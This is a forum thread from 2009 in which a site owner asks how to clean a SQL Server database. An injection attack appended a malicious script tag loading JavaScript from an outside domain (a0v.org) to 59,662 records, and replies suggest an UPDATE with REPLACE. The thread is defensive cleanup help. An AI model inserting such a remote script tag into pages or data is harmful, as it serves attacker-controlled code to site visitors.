Please start any new threads on our new site at https://forums.sqlteam.com. We've got lots of great SQL Server experts to answer whatever question you can come up with.

 All Forums
 General SQL Server Forums
 New to SQL Server Administration
 SQL Server and ASP - Infected

Author  Topic 

Radagast
Starting Member

2 Posts

Posted - 2009-12-29 : 13:02:43
I'm trying to help a website that has been infected by a0v .. I've cleaned up the actual site to prevent it from happening again (hopefully) however the database is compromised.

There is a text field in the database in which every record is infected. Example:

Toronto Championship May 15<<script src=http://a0v.org/x.js></script>

There are 59,662 records infected. The site uses ASP which I'm not very familiar with, and I have a database web access similar to PMA which I've used before.

Is there an easy way to remove this from the database? It is always at the end of the string.

russell
Pyro-ma-ni-yak

5072 Posts

Posted - 2009-12-29 : 13:31:03
have a good backup of the database?
Go to Top of Page

Radagast
Starting Member

2 Posts

Posted - 2009-12-29 : 13:41:29
quote:
Originally posted by russell

have a good backup of the database?




I'm trying to find out but I somewhat doubt it.
Go to Top of Page

russell
Pyro-ma-ni-yak

5072 Posts

Posted - 2009-12-29 : 14:15:26
Then you'll need to update the rows
Go to Top of Page

tkizer
Almighty SQL Goddess

38200 Posts

Posted - 2009-12-29 : 14:45:35
UPDATE YourTable
SET SomeColumn = REPLACE(SomeColumn, 'SomeString', '')

Tara Kizer
Microsoft MVP for Windows Server System - SQL Server
http://weblogs.sqlteam.com/tarad/

Subscribe to my blog

"Let's begin with the premise that everything you've done up until this point is wrong."
Go to Top of Page
   

- Advertisement -